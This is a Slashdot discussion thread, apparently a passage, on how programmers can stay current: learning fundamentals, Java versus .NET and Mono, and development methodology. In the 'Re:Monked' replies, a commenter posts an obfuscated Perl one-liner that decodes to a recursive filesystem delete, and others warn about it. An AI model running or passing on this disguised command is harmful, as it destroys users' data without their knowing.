      In general, you have to strike a balance between mastering some fundamental technologies, and being prepared to experiment with others. I suggest, as have others, getting really good at C++ and C (noting the _major_ philosphical differences between them). Then, learn other things on a need-to-know basis. For example, MacOSX pretty much requires you to know objective-c. If you have a project to do on this platform, start learning objective-c. Otherwise, don't bother. Blindly following fads without real reason just takes time away from learning industry fundamentals.

      Something that has been used for 20 years by thousands of devs probably has more bang-for-buck than something that has been used for 5 minutes by a small, but vocal, group of zealots. Unless you have a really pressing reason to learn it.

    57. Re:Ignore them... by ACPosterChild · · Score: 1

      Bullshit. You might not know it's bullshit, but it is.

      Yes, any programmer should be able to pick up a reference manual or open Visual Studio and have a decent little program working in 3 days. However, do NOT confuse that with knowing a language. If you've read every page of the Stroustrop book or Lippman & Lajole Primer and have worked exclusively and deeply with C++ for at least 6 months, then you know C++. In a day and a half with no experience you simply cannot learn the pitfalls and nuances associated with C++.

      As an example, I had never used Visual Basic but in 1 1/2 days I had a GUI that could control temperature sensors on an I2C bus (connected to the computer through a USB to I2C cable), and another app that controlled most functions in a complex programmable power supply. However, just because the libraries, IDE, help tools, and the web made it fairly easy for me get something done quickly does NOT mean that I know how to properly use VB.

      Knowing how to program is different than knowing a language.

      If you learned Scheme, Smalltal

  6. Re:Monked by skurrier · · Score: 1

    Nasty Evil person. Posting a rm-rf script. Shame on you. Julian Calaby

  7. Re:Monked by Anonymous Coward · · Score: 0

    $ su -c 'su nobody' $ nice -n 19 perl -e '$??s:;s:s;;$?::s;;=]=>%-{-|}&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Permission denied errors. :-) But still... Careful people. ;) ~Davus (off topic)

  8. Mono? by headkase · · Score: 4, Informative

    I would suggest Mono as an important project. As Microsoft designed it, .net's common language runtime can be targeted from practically any language. .net is equivalent to a standard virtual machine that provides a standard environment (duh). By allowing code to leverage other code and perform this work independent of any particular programming languages they've created a large developer base that can easily be ported to Linux via Mono.
    8^p

    --
    Shh.
    1. Re:Mono? by Unoti · · Score: 1
      I totally agree. There's an unavoidable flamewar about to start here, but the .Net framework is fantastic. In my world, it's misguided to even want to be the best Java developer instead of the best .NET developer. Today and for the foreseable future, you'll be able to get more top quality work with .NET than with Java.

      And aside from the evil overtones, it's a fantastic language. Come to the dark side.

      ----

      Besides, Darth Vader can kill people across the galaxies on a viewscreen with a motion of his hand. What does Obie Wan get? He's a blue glowie, and he can whisper "use the force." Big deal.

    2. Re:Mono? by Anonymous Coward · · Score: 0

      Are you kidding?

      Pigeon holing yourself is stupid.
      Java and C# are almost identical in syntax. Get a good grasp of both camps and at least a working knowledge of the popular APIs for both.
      The only reason to concentrate solely on .NET is because you're incapable of writing code outside of pointing and clicking your way through visual studio.

    3. Re:Mono? by Anonymous Coward · · Score: 1, Interesting

      > Java and C# are almost identical in syntax.

      Thats not true. Saying that the Java syntax is a subset of the C# syntax would be more like it. I, for one, have developed in Java for an extended period of time (until the end of last year), after which I switched to a new job where I was confronted with C#. I thoroughly enjoy developing in C#, last but not least due to syntactic features (also called syntactic sugar by some), for example delegates, operator overloading (we use it for matrix/vector operations) and events (which are a tedious to write in Java, but part of the language in C#). Also, I have to say that the developed application (we're developing GUI applications) just 'feels' better that any Java application I ever wrote (it's a lot snappier than Swing).

    4. Re:Mono? by bwt · · Score: 1

      sigh... .net is nothing more than a carbon copy of java, optimized for the microsoft OS. The funny thing is that while what you say is true about .net, that it can be targetted by multiple languages, it's kind of funny that you think this is something that .net has a leg up on the competition (java). There are 200 freaking languages that run on the jvm. There are many that are production quality. Microsoft doesn't support Mono on Linux, so every time MS "innovates" (aka copies another feature from java) there will be a delay and a lot of non-working code before Mono catches up. This guarantees that mono on linux will always be crappier than .net on windows.

      Sun directly supports java on linux, and existing practice is to deploy new JVM's to linux at the same time as other platforms. The only arguable advantage of mono over java on linux is that it is open source. But even this whithers away when you investigate. Red Hat actually ships with a working open source java implementation called gcj. Just like mono, it lags behind, but it does work. Moveover, just about every new creation in java has an open source reference implementation. The java community has embraced open source. There are very few arenas where I would identify the best-of-breed example as proprietary. If you say "I will use the java JVM, but only open source tools on top of it" you really have not limited yourself much at all. The .net/momo community cannot match this. Sun has announced it intends to release the JVM to open source, and it is just a matter of time until this happens. They really have no choice because of the progress of cleanroom open source JVM's.

      There are very few, if any, language feature advantages that .net/mono has over java. Both languages provide nice VM based OO environments. Accordingly, the bottom line is that it all comes down to the size of the body of reusable code. Java wins this with an extra zero at the end. There is so much innovation in the java community that it is exasperating to try to keep up with.

    5. Re:Mono? by headkase · · Score: 1

      I gotta side step a bit and say that I was not talking about java - I was really talking about Mono. I think Mono is important because it would allow traditional Microsoft developers to substitute Linux for Windows at some future date and experience no discomfort developilarily wise. When I get off my butt and write some python code I'm thinking of having Python that calls the .net framework e.g. Iron Python. The overall speed increase of about 1.7x faster execution of a program compared against the official Python interpreter shows the well thought out and true engineering of the product - the .net virtual machine is very well built. As Mono progress' along with Microsoft's VM having the advantage of being able to easily switch your entire OS stack with little or no downtime of your code is a tactical plus.

      --
      Shh.
    6. Re:Mono? by Anonymous Coward · · Score: 0

      "..so every time MS "innovates" (aka copies another feature from java) .."

      Oh you mean the way Java 1.5 copied for/each from C#..and here's something that chaps java zealot tools like you even worse...C# got it from VB..so I hope you enjoy your VB inspired structures in your new Java langguage, zealot....

      "...Accordingly, the bottom line is that it all comes down to the size of the body of reusable code. Java wins this with an extra zero at the end. There is so much innovation in the java community that it is exasperating to try to keep up with..."

      Spoken like a true zealot...(If I don't work with somethign and don't know it well, it can't be good..yeah..it just "sucks"). .NET has every bit as much innovation as Java and reusable code....

      Before you start in, zealot....I am a Java developer and an all Java/C++ shop...I just can't stand clueless zealots like you..

      hahahahaah...try again...

    7. Re:Mono? by angel'o'sphere · · Score: 1

      Today and for the foreseable future, you'll be able to get more top quality work with .NET than with Java.
      Thats your perception, I disagree.

      I did a hell lot Java so far n my life, and started to work in C#/.NET in the beginning of this year. Frankly: it sucks. It is so similar and in lots of areas still so much simplyfied that you can cry when you sit at the keyboard.

      E.g. having no checked exceptions makes C# completely useless for big systems. So you basically can't get top quality with C# at all!!!

      angel'o'sphere

      --
      Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
  9. Read and Succeed by Unoti · · Score: 5, Insightful
    Two key thoughts to share: Read, Succeed.

    Read

    First, you need to read a lot. Dr Dobbs, MSDN, developer blogs, books. To separate fad from rad, I recommend you use your own common sense.

    For example, a few years back I worked hard to learn and understand the Unified Process. There were a lot of great ideas in there, but I felt it was too heavyweight and over the top for what I was doing. But I did feel it had brilliant ideas and revolutionary concepts. So I took what I thought were the most practical ideas and used them. The most important ideas I took were things like 1) throwing out the waterfall approach and developing iteratively, testing and "releasing" after each iteration, 2) identifying the biggest show-stopper risks up front and doing research to make them not so scary, 3) getting the customer/end user involved up front and through the whole process. A lot of people might shoot me for saying this, but it turns out that the Unified Process was pretty much a fad, and those key concepts turn out to be the foundation for "Agile Development" and "Extreme Programming."

    The point is, read and study anything that interests you, and decide for yourself what's useful.

    Succeed

    Second, you need to do stuff to get success stories you can tell when you're interviewing or selling yourself to your current employer. A lot of book knowledge doesn't do diddley if you don't put things in the done basket. Ever see people at work with dozens of spiffy certifications that can't code their way out of a paper bag? Don't be like that. Do lots of stuff and do it successfully.

    I recommend you work on anything you have some passion for, even if it's not directly work related. For example, I did a lot of 3D programming when I was working as an Oracle PL/SQL developer. Totally unrelated to work. But I honed my OO skills, learned OpenGL and DirectX, learned a lot about 3D math. Although it took a while to pay off, all of it did eventually pay off. Knowledge of C++ helped me answer tricky STL interview questions, and I later got a job with a company that makes interactive 3D training software for jet mechanics-- way cooler than Oracle. And even though this wasn't work-related, I was able to include that work in my list of success stories I could tell potential employers and other people making decisions about me.

    So do whatever you have a passion for, and do it successfully and to completion.

    1. Re:Read and Succeed by Anonymous Coward · · Score: 1, Insightful

      Hmmm...I guess people need to ask themselves if the are in love with this programming stuff or just doing it for a paycheck. Reading everything on the earth plus having programming hobbies in addition to work isn't practical for most people, especially if they have any interests outside of computers. I've found that living in a cubicle at work and living in a darkened computer room at home is absolutely and utterly depressing. I'm actually quitting the computer-biz entirely and getting a job where I work outside. Mmmmm...sunshine.

    2. Re:Read and Succeed by LDoggg_ · · Score: 1

      Hmmm...I guess people need to ask themselves if the are in love with this programming stuff or just doing it for a paycheck.

      Absolutely.
      I've met plenty of both types of people. Its clear which people love to code and which people just consider it a job. When you love to code, you make time for reading programming books, having pet open source projects, getting into silly programming conversations on slashdot...

      My advice is that if you don't love programming, find a different occupation.

      --

      "If they have both, tell them we use Linux. And if they have that, tell them the computers are down." -Dave Chapelle
    3. Re:Read and Succeed by Fulcrum+of+Evil · · Score: 1

      But I did feel it had brilliant ideas and revolutionary concepts.

      Those aren't revolutionary - they're basic project management and some real world development mixed together. Nobody uses waterfall. Identifying risks is a basic part of requirements analysis, and talking to customers (and identifying them at all) is necessary so you have a chance at success. Who cares if your code works if nobody wants it.

      --
      "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    4. Re:Read and Succeed by uradu · · Score: 1

      > A lot of people might shoot me for saying this, but it turns out that the Unified Process was pretty much a fad

      Really, they will shoot you? Who exactly? Dig through Usenet posts of the last ten years and you will find mountains of complaints and cursing over UML and Rational in particular. This is a classic example of something developed by people with a serious disconnect from the Real World. It's a little like those beautiful example programs for OOP in college, where everything gels together wonderfully and anything that doesn't fit the paradigm nicely is conveniently not mentioned.

    5. Re:Read and Succeed by Dan+Ost · · Score: 1

      If it's something that I would read anyway, I do it on my own time. If it's something that
      I would have no interest in except that I need to know it to complete whatever project I'm
      working on, I read on my employer's time.

      --

      *sigh* back to work...
    6. Re:Read and Succeed by Dan+Ost · · Score: 1

      Sequence diagrams are useful for showing things to non-coders.

      That's the only thing that I can think of from UML that has value
      (and I'm pretty sure I saw sequence diagrams before UML was
      created).

      --

      *sigh* back to work...
    7. Re:Read and Succeed by myatmpinis1234 · · Score: 1

      I don't love programming, but I'm still trying to find another job that a) I'm good at, b) pays a crapload, and c) doesn't matter that I have terrible people skills.

    8. Re:Read and Succeed by Unoti · · Score: 1
      In 1990, if you didn't use waterfall, you were called a cowboy hacker (that was generally a bad term in the software development industry then). It was revolutionary at the time.

      Lots of people coded iteratively, hell, most successful developers did. But in the business world it was really frowned upon. Successful programmers pretended that they were doing waterfall when they really weren't. Programmers routinely made huge design documents (often after the code was mostly done) to appease their bosses.

      That's the 90's. It was worse in the 80's. I didn't code professionally in the 70's, so I can't tell you about that, but I bet it was worse still.

      Yeah, I feel comfortable in calling it revolutionary.

    9. Re:Read and Succeed by Unoti · · Score: 1

      Sequence diagrams are cool. I don't like use case diagrams much, but I do use a sequence diagram at least once a year.

    10. Re:Read and Succeed by qwijibo · · Score: 1

      Try management.

      a) most are bad, so how much worse can you be?
      b) pays decently.
      c) just learn to rephrase your deficiences as strengths and belittle others for not understanding.

      That should work in a Dilbert strip or any Fortune 500 company.

    11. Re:Read and Succeed by Unoti · · Score: 1
      I guess people need to ask themselves if the are in love with this programming stuff or just doing it for a paycheck.

      Perhaps so. The topic at hand was how to be on top of your game. If you want to be on top of your game, you've got to have a passion for it. If you're just doing it for a paycheck, you don't really care about being on top of your game. So that's a whole other topic different from how to be among the best.

      Generally highly successful people have a passion for excellence in what they do. And that's not true just with computer people. It's true for artists, musicians, car mechanics, carpenters, heck-- you name it. The very best love doing a good job. It's not so crazy to mess with it in your off time. How many house builders mess around making furniture or something in their garage on the weekends?

      Programming isn't a normal hobby. But it beats the hell out of the typical activity, which is to watch TV for 30% of their waking hours and drink yourself silly 4 times a week.

      But the topic at hand was how to be among the best, and you have to love it to do it.

    12. Re:Read and Succeed by Fulcrum+of+Evil · · Score: 1

      Yeah, I feel comfortable in calling it revolutionary.

      It's a sad statement that actually being able to be honest about how you work is revolutionary.

      Here's my favored dev process (crystalized in 2000 and based heavily on what they did where I worked):

      • Design doc up front that gives the broad strokes on what we're building.
      • Release plan that describes the first several releases (in 4-6 week chunks)
      • A working product every release with progressive functionality
      • Every release or two, get direct feedback on the product, including actual usage.
      • The design doc and release plan are updated each release to include more detail and provide a historical narrative.
      --
      "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    13. Re:Read and Succeed by angel'o'sphere · · Score: 1

      Very similar to SCRUM, probably you like to rad about it.

      angel'o'sphere

      --
      Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
    14. Re:Read and Succeed by Money+for+Nothin' · · Score: 1

      You start with design? What about requirements gathering (and then having a 1:1 mapping between requirements and test cases)?

    15. Re:Read and Succeed by bladesjester · · Score: 2, Insightful

      I enjoy programming and I like learning new things, but I do not want to spend every waking moment focusing on new trends in software development.

      There are those of us who really do like what we do, but still consider it a job and want to do other things besides on our free time.

      --
      Everything I need to know I learned by killing smart people and eating their brains.
    16. Re:Read and Succeed by Fulcrum+of+Evil · · Score: 1

      No, the design document is the first deliverable and includes requirements. Generally, there are a handful of high level requirements and a whold bunch of low level ones. I like to put use cases in a separate doc, simply because they tend to be verbose, and the design doc is intended to be an overview - the 'root' document, if you like.

      --
      "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    17. Re:Read and Succeed by jsebrech · · Score: 1

      A lot of people might shoot me for saying this, but it turns out that the Unified Process was pretty much a fad, and those key concepts turn out to be the foundation for "Agile Development" and "Extreme Programming."

      This is the most important lesson. Programming sees lots of fads, but few genuine innovations. I've seen lots of technologies and fads come and go, and from my experience all you have to do to stay on top in your field is to keep an ear open and to use your common sense. If you pay some attention to the wider community (for example, by being part of a developers' forum) then you will hear about all the stuff worth hearing about (because the worthwhile stuff travels far in developer communities).

      As for what to do with the new hypes in programming you hear about... Generally just pass them through the bullshit detector. Most of them are just BS or common sense rewrapped in book form so they can charge you money to tell you what you already know. Don't get too hung up on "methodologies", regardless of how hyped or widespread they are. Methodologies are like political parties. Once you affiliate yourself to closely with one, you close your mind to any good ideas that aren't included in it (which generally is the majority of good ideas floating around).

      Long story short, anything truly worth knowing about you won't be able to avoid if you have an open and inquiring mind. So don't worry about what you're missing, because most likely you're not missing anything important.

    18. Re:Read and Succeed by Money+for+Nothin' · · Score: 1

      Ah, I see... That makes more sense now.

      I might argue over whether the design doc is meant to be an overview -- I think that depends on whether it's a high-level design or a detailed technical design (not to mention the size & scope of the system being designed to begin with). And in my organization, depending on the particular set of project documents used (which depends on project scope), the requirements might be a separate document from design.

      But overall, your approach is at most mildly-different from my experience, so whatever... Glad to see somebody views development as more than just purely coding. :-)

  10. Pick a language by wildman6801 · · Score: 2, Informative

    Pick a language and learn it to your best: I would suggest a language like Java or C, C++. The more you learn about your langauge that you choose the better you will get at it and the more you will be in the trend. I started learning C++ back in college and I use it. I learned it very well and I keep up to date with it changes.

    --
    A site cowboyneal will like http://www.freewebs.com/atpa/
    1. Re:Pick a language by XaXXon · · Score: 1, Insightful

      Take what this person said and do the exact opposite.

      If you only have a hammer, everything starts looking like a nail.

      That's the sign of a bad programmer.

      Who moderated the parent insightful?!?

    2. Re:Pick a language by Dan+Ost · · Score: 1

      But if you don't know how to use the hammer appropriately, how can
      use compare other tools to it?

      I mostly agree with the original post: pick a small language (like
      C) and learn it and its standard library inside and out. Then, as
      you find domains that are akward for that language, explore other
      languages that handle that domain better. Find one that you like
      that, hopefully, will scale to other domains as well, and learn it
      inside and out. Keep adding tools in this manner when you identify
      weaknesses in your toolbox, and eventually you'll have the proper
      tool for any problem you find.

      It is my opinion that a programmer who know 2+ languages in depth,
      will be more likely to pick up a new language and use it well in
      a reasonable amount of time than a programmer who has shallow
      knowledge of a dozen languages.

      --

      *sigh* back to work...
    3. Re:Pick a language by rjshields · · Score: 1
      Pick a language and learn it to your best: I would suggest a language like Java or C, C++.
      I would say learn 3 or 4 different kinds of languages, e.g. C and C++, either Java or C#, and one of Perl/Python/Ruby (plus something like oCaml or lisp if you're a real geek) then develop some useful transferrable skills like XML/DOM/SAX, SQL/RDBMS, TCP/IP, HTML/Javascript, Unix, etc. That way you have a good range of skills that you can apply to a good range of development projects, and you will be more valuable to an employer as a result.

      Going into great depth in one particular area or learning a bunch of specialised "frameworks" is probably going to decrease your chance of doing something different in the near future, unless of course you're absolutely certain that you're doing exactly what you want to do.
      --
      In this world nothing is certain but death, taxes and flawed car analogies.
    4. Re:Pick a language by angel'o'sphere · · Score: 1


      I mostly agree with the original post: pick a small language (like
      C) and learn it and its standard library inside and out.


      No, definitely don't do THAT

      When you learn a language like C or Pascal first you will have a hard time to switch to an OO language like C#/Java or even C++ ... If you want to sugest to learn a small language first, then use SmallTalk or some kind of LISP.

      With your mind poisened by primitive imparative only languages, it will cost you 3 or more years in getting fluent in OOP and Design Patterns etc. and it probably also makes it harder for you to understadn UML.

      OTOH if you like to start with somethign really primitive, then try a toy assembler language and please not C, especialla not the C library.

      angel'o'sphere

      --
      Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
    5. Re:Pick a language by Money+for+Nothin' · · Score: 1

      Take what the parent and gp said, and mix them.

      Learn a couple languages very well, and be functionally-literate in a few other languages.

      "Learn what is useful, and discard everything else" -- paraphrase of Bruce Lee, on developing one's individual style in martial arts. It applies to learning anything, really...

    6. Re:Pick a language by Dan+Ost · · Score: 1

      With your mind poisened by primitive imparative only languages, it will cost you 3 or more years in getting fluent in OOP and Design Patterns etc. and it probably also makes it harder for you to understadn UML.

      Where do people get this stupid idea that C is the antithesis of
      object oriented design? People have been using object oriented
      techniques in C for decades and I've never known anyone who had any
      trouble picking up object oriented techniques just because their
      first language was C or pascal.

      --

      *sigh* back to work...
    7. Re:Pick a language by jgrahn · · Score: 1
      Where do people get this stupid idea that C is the antithesis of object oriented design?

      Or, for that matter, the stupid idea that object-oriented design is the final goal that everyone should strive for.

      OO is a tool. One of the more useful and important tools for creating an understandable system when there's lot of complexity, but it's still just a tool. And there are other tools.

    8. Re:Pick a language by angel'o'sphere · · Score: 1

      Where do people get this stupid idea that C is the antithesis of
      object oriented design?

      I did not say its the antithesis ... its onyl a complete different way to think structural/functional versus object oriented.

      People have been using object oriented
      techniques in C for decades
      Some people, sure, but ot the majority.

      and I've never known anyone who had any
      trouble picking up object oriented techniques just because their
      first language was C or pascal.
      Then you must know only very bright or very lucky people. For me the opposite is true, all who started programming with C/Pascal, me included, needed 3 to 5 years of OO programming to become mature, because they where stuck in functional/structural thinking. Basically all of them (me included) wrote complete shit code and it took them ages to understand concepts like the Composite pattern or a Decorator or a Command.

      I'm giving lectures in all modern themes about computer science, and I meet peopel like I was, whose minds are poisned and who have trouble to switch from C/Pascal thinking to OO every day.

      angel'o'sphere

      --
      Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
    9. Re:Pick a language by angel'o'sphere · · Score: 1


      Or, for that matter, the stupid idea that object-oriented design is the final goal that everyone should strive for.

      What else should it be then? Aspect orineted Design? Subject oriented Design?
      Or, you know anything better?

      OO is a tool.
      No, OO is not a tool, its a paradigma. A hammer is a tool, or a CASE system is one, or a C compiler is one.


        One of the more useful and important tools for creating an understandable system when there's lot of complexity, but it's still just a tool. And there are other tools.

      There are other paradigms, indeed. But structural/procedural is the most primitive one. C only supports that. And my argument was against C as a beginners language. Surely learning functional programming and object oriented programming changes the way how you think about problems and how you tackle them, in relation to the way how you think if you only/mainly do C or similar languages.

        angel'o'sphere

      --
      Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
  11. Immerse yourself in RSS feeds by smug_lisp_weenie · · Score: 3, Insightful

    Set up an RSS reader like reader.google.com or bloglines.com, then find a bunch of RSS feeds that cover that domain in some fashion. For Java, for instance, you can find some feeds here.

    The key is that that it's really quantity and regularity that's most important- If you spend a little time each day immersing yourself in the terminology you'll start to get a feeling of who has the most credible opinions in that field and what those persons are excited about (so eventually you'll have quality covered as well).

    There's a good chance that this will, of time, allow you to spot patterns and predict technology trends.

    1. Re:Immerse yourself in RSS feeds by Anonymous Coward · · Score: 0

      Along those lines, I would also recommend LtU: http://lambda-the-ultimate.org/

  12. Re:Monked by wildman6801 · · Score: 1

    Don't run this at root! You will be sorry. "Don't every push the red button"

    --
    A site cowboyneal will like http://www.freewebs.com/atpa/
  13. Trends? Um, no... by StarWynd · · Score: 3, Informative

    Your focus shouldn't be on tracking and staying on top of all the trends. It should be about finding ways to be more efficient and more productive with what you're already doing. Occasionally, I will accidentally run across a cool new tool or framework that's useful, but most of the time I have to go looking for it myself. If you find yourself saying "Surely there's a better way," someone else has probably said the same thing. And while you could scan books or search online for the answer, talking to someone else who has experienced the same thing is probably your best bet. Get involved with a local user's group for whatever language you're developing in. Ask questions, show up at the meetings and contribute back to the group. It's still good to track new trends, but this should be secondary. Just subscribe to a tech magazine or two or maybe watch some of the RSS feeds from sites that pertain to your work, but your best resource is the rest of the community.

  14. Slashdot by Alric · · Score: 3, Informative

    Honestly, being a regular on slashdot will keep you pretty current on the latest fads in the industry. For a specific technology, I recommend finding a few experts or "thought leaders" in that field who have blogs and reading whatever they're reading.

    Also, as others will say ad infinitum, focusing on the basics is much more important than trying new fads or styles.

    1. Re:Slashdot by Bjarke+Roune · · Score: 2, Funny

      > Honestly, being a regular on slashdot will keep you pretty current on
      > the latest fads in the industry.
      >
      Yeah, especially if they have something to do with Google.

  15. Don't limit yourself to Java by Anml4ixoye · · Score: 4, Insightful

    The best advice I have heard was from I believe Martin Fowler who said to learn a new language every 6 months. So, instead of learning the differences between JSF and Struts, pick up a Rails book, or Python, or Boo, or Lua. (Except if part of your job is figuring out the differences between JSF and Struts)

    Several of my coworkers attended JavaOne, and while I would have liked to have gone, I'm much happier going to Agile 2006 where I will get exposed to a wider variety of things going on. For example, if you haven't tried Rails, it is a great way of seeing how using sensible defaults can get something up and running quickly, and how extension can keep it maintainable as it grows.

    Same thing with ASP.NET. The event model for web pages is really great, and I've built some neat apps in ASP.NET which let me use some of the cleanest MVP seperation possible.

    So, if you want to know more about Java, pick up some other languages. You'll find yourself wanting to do even more.

    1. Re:Don't limit yourself to Java by Anonymous Coward · · Score: 0


      Whatever you do, don't take this mindset into developing production software that anyone cares about!!!!! If your work will have any effect on any one else, use a consistent language and platform that are several years mature (preferably many years), well documented, supported, and updated regularly and consistently. Simply put aside the desires to have some whiz-bang awesome bookshelf and just focus on meeting the users'/customers' requirements!

    2. Re:Don't limit yourself to Java by bahwi · · Score: 1

      Agreed. Learning rails was the best thing I could have every done for my PHP skills. I think my current tools are out of shape, and looks for better equivalents, and find them.

    3. Re:Don't limit yourself to Java by ooze · · Score: 1

      Right. Learning, ant at least fiddling around with a lot of different languages is the most best way to learn programming. With that you do several things:

      - you get to know a lot of different programming paradims, ways of solving problems, that would be completely lost to you, if you stick to just one language. The least it does is to give you an understanding, when someone tries to explicitely implement one of those paradigms in a language that isn't meant for it (because the problem requires it). Tremendously helps understandaning code and actually desinging solutions.
      - you get a feel for what language implements wich concept elegantly and which doesn't. Fact is, often people just don't use powerful features of a language, because it is implemented awkwardly. If you get to use this feature in another language, where it is solved elegantly, you might find yourself learnign it better, and then using it more often, when it is appropriate. For example, people who have done some Lisp completely lose their trouble with recursion. I too often find people who only basically learned C(++) and java and all this often don't even think of it ... despite the language allowing it. And it is so often the most elegant and shortest solution. Same for Reflection. People who just use Java and .Net often shy away from it (since it is awkward), and instead prefer to maintain long tables and constant definitions. But if you have used reflection a little (and it is easier in Lisp or Smalltalk), the you know from experience how much typing and maintenance it can save you, and you still use it, despite the implementation being a little awkward. OR people from the widows world often shay away from regular expressions. But people with some unix and perl experience often use them for what they are meant to, despite first having to import some external library in C++ and having to explicitely create objects and all this.
      - you learn to derive knowledge from language similarities. Just as with natural languages, Learning you first foraign language is the hardest, the more you actually know, the easier it becomes to learn new one, due to all those similarities. And with each new language you learn new ways of expressions and concepts, that tremendously help you expressing yourself in the languages you already know.

      --
      Just because I can imagine doing a hippopotamus, doesn't mean I'd like to do it.
  16. learn fundamentals by Anonymous Coward · · Score: 4, Interesting

    Learn general fundamental stuff first.

    Like: LISP, the relational model, etc.

    Then after a while you'll notice that most everything is a subset of something that's already been invented, but with a different name, or a different syntax, or a different "marketing angle".

    Ruby? Python? Different subsets of Lisp with more interesting syntax.

    Ajax? A more complicated way of doing client/server communication.

    SQL databases? Kinda like a relational database, but simpler.

    Object databases? Take the relational model and add a large number of constraints, tada, there's an OO database.

    FreeBSD vs. Linux? Mostly the same.

    You might also become quite bitter and annoyed with the IT industry after a few years.. try not to take it out on others. :-)

    But seriously, concentrate more on what make things ALIKE. Vendors and people who haven't been in the IT industry very long will try and convince you that what they have is revolutionary and exciting, etc. They'll try and ridicule your "old-fashioned" view of whatever it is. Just smile politely and try and apply your existing knowledge with the syntax or the pretty face of "their" technology.

    1. Re:learn fundamentals by Anonymous Coward · · Score: 0

      >>SQL databases? Kinda like a relational database, but simpler.

      Huh?
      SQL stands for structured query language. Its the standard way to read and write data to and from a database.
      A relational database means that you can relate tables to eachother through the use of foreign keys. Relational databases typically allow for SQL queries and updates.

      I don't mean to flame, but if you don't have a grasp on a simple concept like that, you probably shouldn't be giving out programming advice.

    2. Re:learn fundamentals by Anonymous Coward · · Score: 0

      > A relational database means that you can relate tables to each other through the use of foreign keys.

      That's a common misconception of what "relational" means.

      It actually has nothing to do with relating tables to each other; in the relational model, a table is a "relation" of tuplets, i.e. rows and columns.

      http://en.wikipedia.org/wiki/Relational_model

    3. Re:learn fundamentals by angel'o'sphere · · Score: 1

      SQL databases? Kinda like a relational database, but simpler.
      And what is teh difference?

      Object databases? Take the relational model and add a large number of constraints, tada, there's an OO database.

      To both statements of you I only can say: you certainly have no clue. So I wonder if you tried to be funny/sarcastic ;D

      angel'o'sphere

      --
      Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
  17. Ignore it. by jlarocco · · Score: 4, Insightful
    I know there's not one solve all, but for the sake of argument, suppose you wanted to stay on the forefront of Java based web development, what would you do?"

    Shoot myself.

    More seriously, trying to stay up to date on every new trend is pointless. You're better off picking a few things and learning them well.

    1. Re:Ignore it. by MobileTatsu-NJG · · Score: 3, Interesting

      "More seriously, trying to stay up to date on every new trend is pointless. You're better off picking a few things and learning them well."

      Seconded. When I was in high school I took whatever programming classes I could get into. I started with Basic and moved on to Pascal. That gave me some good fundamentals to work with. When I entered the work-force, I found myself scripting quite a bit for Lightwave. (For the uninitiated: Lightwave is a 3D program commonly used in television effects.) Recently we've been using Maya a lot more. I was able to shift over and start writing scripts for it. Why? Lightwave scripting gave me the experience I needed to know what I'm looking for, so when it came time to use another language, I had what I needed to get going fairly quickly. This has even spilled over into writing a little bit of PHP code and so on.

      I took the scenic route here, but yeah, develop a solid skill, and when you need to move into another language it'll go pretty smoothly. I was involved in the process of hiring engineers and we had a number of applicants who were dabblers. "I know OpenGL!" "Great! What have you done with it?" "I made a box rotate on the screen! (It was really hard!)" "Okay, so what's your expertise?" "..." We didn't feel comfortable hiring those people because we had no idea where they would have been best suited. Jack of all trades, master of none, yadda yadda yadda.

      --

      "I like to lick butts!" by MobileTatsu-NJG (#32700246) (Score:5, Informative)

  18. Be good at what will always be needed. by triskaidekaphile · · Score: 4, Insightful

    I know Java very well, but my true strength is in design. It doesn't matter what languages come and go, those skills will always be useful.

    Learn good communication skills so others will think you are competent. Even if you aren't.

    Learn persuasion skills so you get good compensation.

    Prepare side interests that you can ramp up into money-making ventures in a few months. If your company folds, you get laid off, or you decide to retire (or just plain quit) and the job market sucks, you at least have an avenue to pursue.

    --
    @HbFyo0$k8 tH!$
    1. Re:Be good at what will always be needed. by Atario · · Score: 2, Insightful
      Learn good communication skills so others will think you are competent. Even if you aren't.
      And, remember, writing is communication. In fact, it's a form of communication that lingers on long after you've forgotten about it, making you look smart or stupid, as the case may be, the whole time.

      My point here, of course, is that the submitter's summary is chock-full of screwups.

      GhettoPeanut, please: the language you should be working on is not Java or Ruby or SuperDuperCPlusPlusPlus. It's English.
      --
      "A great democracy must be progressive or it will soon cease to be a great democracy." --Theodore Roosevelt
    2. Re:Be good at what will always be needed. by Anonymous Coward · · Score: 0

      "GhettoPeanut, please: the language you should be working on is not Java or Ruby or SuperDuperCPlusPlusPlus. It's English."

      OH SNAP! OH NO YOU DIDN'T!

      LOL!

      In all fairness, remember the OP is from the ghetto.

    3. Re:Be good at what will always be needed. by corngrower · · Score: 1
      Learn good communication skills so others will think you are competent. Even if you aren't.

      I've never assumed that the ability to give a good speech in any way corresponds to the person's ability to analyze and solve a problem. It takes a bit longer to garner an appreciation for someone's analytical abilities and problem solving intelligence.

  19. A blend of sites. by shoolz · · Score: 2, Insightful

    I don't think what you're looking for exists!

    I find that I generally have a good idea what's going on by frequenting /. and many other geekly news-aggrigator sites. I keep my ear to the ground and keep track mentally of how often new programming/tech buzzwords get kicked around. I investigate every technology on a high-level, and when I see a new trend emerging that seems to offer a solution that nothing else has so far, get involved on a granular level. I make my own decisions based on what information I can gather.

    Bottom line is, to use your example, if you were looking for what was going down on cutting-edge Java, you would simply spend a good portion of your time researching Java. But the point I'm trying to shoehorn in here is that to stay on edge, you have to be on edge. Which means investing time and researching and *actually* knowing what's going on. Otherwise you'll remain a tool to the hype-machines that have felled so many good programmers / managers.

    Sorry... I wish I could give you the "visit site X" answer that you're looking for. I really do.

  20. Re:lol, java by Anonymous Coward · · Score: 2, Funny
    LOL! U R TEH FUNNY!!!

    1998 called, and they want their troll back.

